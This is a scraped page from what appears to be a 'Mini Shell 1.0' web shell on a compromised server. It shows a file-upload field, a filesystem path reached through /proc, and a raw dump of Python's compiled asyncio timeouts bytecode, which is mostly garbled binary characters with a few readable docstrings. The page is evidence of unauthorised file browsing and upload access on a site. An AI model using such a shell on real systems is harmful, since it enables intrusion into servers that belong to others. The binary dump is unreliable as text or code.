HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/1784574/task/1784574/root/usr/lib/python3.11/asyncio/__pycache__/
Upload File :
Current File : //proc/1784574/task/1784574/root/usr/lib/python3.11/asyncio/__pycache__/timeouts.cpython-311.pyc
�

*�Kg�����ddlZddlmZddlmZmZmZddlmZddlm	Z	ddlm
Z
dZGd	�d
ej��Z
eGd�d����Zd
eedefd�Zdeedefd�ZdS)�N)�
TracebackType)�final�Optional�Type�)�events)�
exceptions)�tasks)�Timeout�timeout�
timeout_atc�"�eZdZdZdZdZdZdZdS)�_State�created�active�expiring�expired�finishedN)�__name__�
__module__�__qualname__�CREATED�ENTERED�EXPIRING�EXPIRED�EXITED���'/usr/lib/python3.11/asyncio/timeouts.pyrrs'�������G��G��H��G�
�F�F�Frrc	���eZdZdeeddfd�Zdeefd�Zdeeddfd�Zdefd�Z	de
fd�Zdd	�Zd
ee
edeedeedeefd
�Zdd�ZdS)r�when�returnNc�R�tj|_d|_d|_||_dS�N)rr�_state�_timeout_handler�_task�_when)�selfr!s  r�__init__zTimeout.__init__s%���n���>B���+/��
���
�
�
rc��|jSr$)r(�r)s rr!zTimeout.when$s
���z�rc���|jtjusJ�|jtjurt	d|jj�d����||_|j�|j���|�	d|_dStj
��}||���kr!|�|j
��|_dS|�||j
��|_dS)NzCannot change state of z Timeout)r%rrr�RuntimeError�valuer(r&�cancelr�get_running_loop�time�	call_soon�_on_timeout�call_at)r)r!�loops   r�
reschedulezTimeout.reschedule's����{�&�.�0�0�0�0��;�f�n�,�,��E�$�+�*;�E�E�E���
���
�� �,��!�(�(�*�*�*��<�$(�D�!�!�!��*�,�,�D��t�y�y�{�{�"�"�(,���t�7G�(H�(H��%�%�%�(,���T�4�;K�(L�(L��%�%�%rc�@�|jtjtjfvS)z$Is timeout expired during execution?)r%rrrr,s rrzTimeout.expired<s���{�v����?�?�?rc���dg}|jtjur6|j�t	|jd��nd}|�d|����d�|��}d|jj�d|�d�S)N��zwhen=� z
<Timeout [�]�>)r%rrr(�round�append�joinr/)r)�infor!�info_strs    r�__repr__zTimeout.__repr__@sz���t���;�&�.�(�(�+/�:�+A�5���Q�'�'�'�t�D��K�K�����'�'�'��8�8�D�>�>��;�D�K�-�;�;��;�;�;�;rc��K�tj|_tj��|_|j�t
d���|�|j��|S)Nz$Timeout should be used inside a task)	rrr%r
�current_taskr'r.r7r(r,s r�
__aenter__zTimeout.__aenter__HsO�����n����'�)�)��
��:���E�F�F�F�����
�#�#�#��r�exc_type�exc_val�exc_tbc��K�|jtjtjfvsJ�|j� |j���d|_|jtjurDtj|_|j���dkr|tj
urt�n$|jtjurtj|_dS)Nr)
r%rrrr&r0rr'�uncancelr	�CancelledError�TimeoutErrorr)r)rHrIrJs    r�	__aexit__zTimeout.__aexit__Ps������{�v�~�v��?�?�?�?�?�� �,��!�(�(�*�*�*�$(�D�!��;�&�/�)�)� �.�D�K��z�"�"�$�$��)�)�h�*�:S�.S�.S�#�"��
�[�F�N�
*�
*� �-�D�K��trc��|jtjusJ�|j���tj|_d|_dSr$)r%rrr'r0rr&r,s rr4zTimeout._on_timeouthsB���{�f�n�,�,�,�,��
�������o��� $����r)r"r)r"N)rrrr�floatr*r!r7�boolr�strrDrGr�
BaseExceptionrrOr4rrrrrs:�������X�e�_��������h�u�o�����M�x���M�4�M�M�M�M�*@��@�@�@�@�<�#�<�<�<�<�������4�
�.�/���-�(����'�	�

�$������0%�%�%�%�%�%rr�delayr"c�x�tj��}t|�|���|znd��S)a	Timeout async context manager.

    Useful in cases when you want to apply timeout logic around block
    of code or in cases when asyncio.wait_for is not suitable. For example:

    >>> async with asyncio.timeout(10):  # 10 seconds timeout
    ...     await long_running_task()


    delay - value in seconds or None to disable timeout logic

    long_running_task() is interrupted by raising asyncio.CancelledError,
    the top-most affected timeout() context manager converts CancelledError
    into TimeoutError.
    N)rr1rr2)rUr6s  rrrps7�� �"�$�$�D��%�*;�4�9�9�;�;��&�&��F�F�Frr!c� �t|��S)abSchedule the timeout at absolute time.

    Like timeout() but argument gives absolute time in the same clock system
    as loop.time().

    Please note: it is not POSIX time but a time with
    undefined starting base, e.g. the time of the system power on.

    >>> async with asyncio.timeout_at(loop.time() + 10):
    ...     await long_running_task()


    when - a deadline when timeout occurs or None to disable timeout logic

    long_running_task() is interrupted by raising asyncio.CancelledError,
    the top-most affected timeout() context manager converts CancelledError
    into TimeoutError.
    )r)r!s rr
r
�s��&�4�=�=�r)�enum�typesr�typingrrrr:rr	r
�__all__�EnumrrrQrr
rrr�<module>r]s@������������(�(�(�(�(�(�(�(�(�(��������������������������T�Y�����R%�R%�R%�R%�R%�R%�R%���R%�jG�8�E�?�G�w�G�G�G�G�(�X�e�_��������r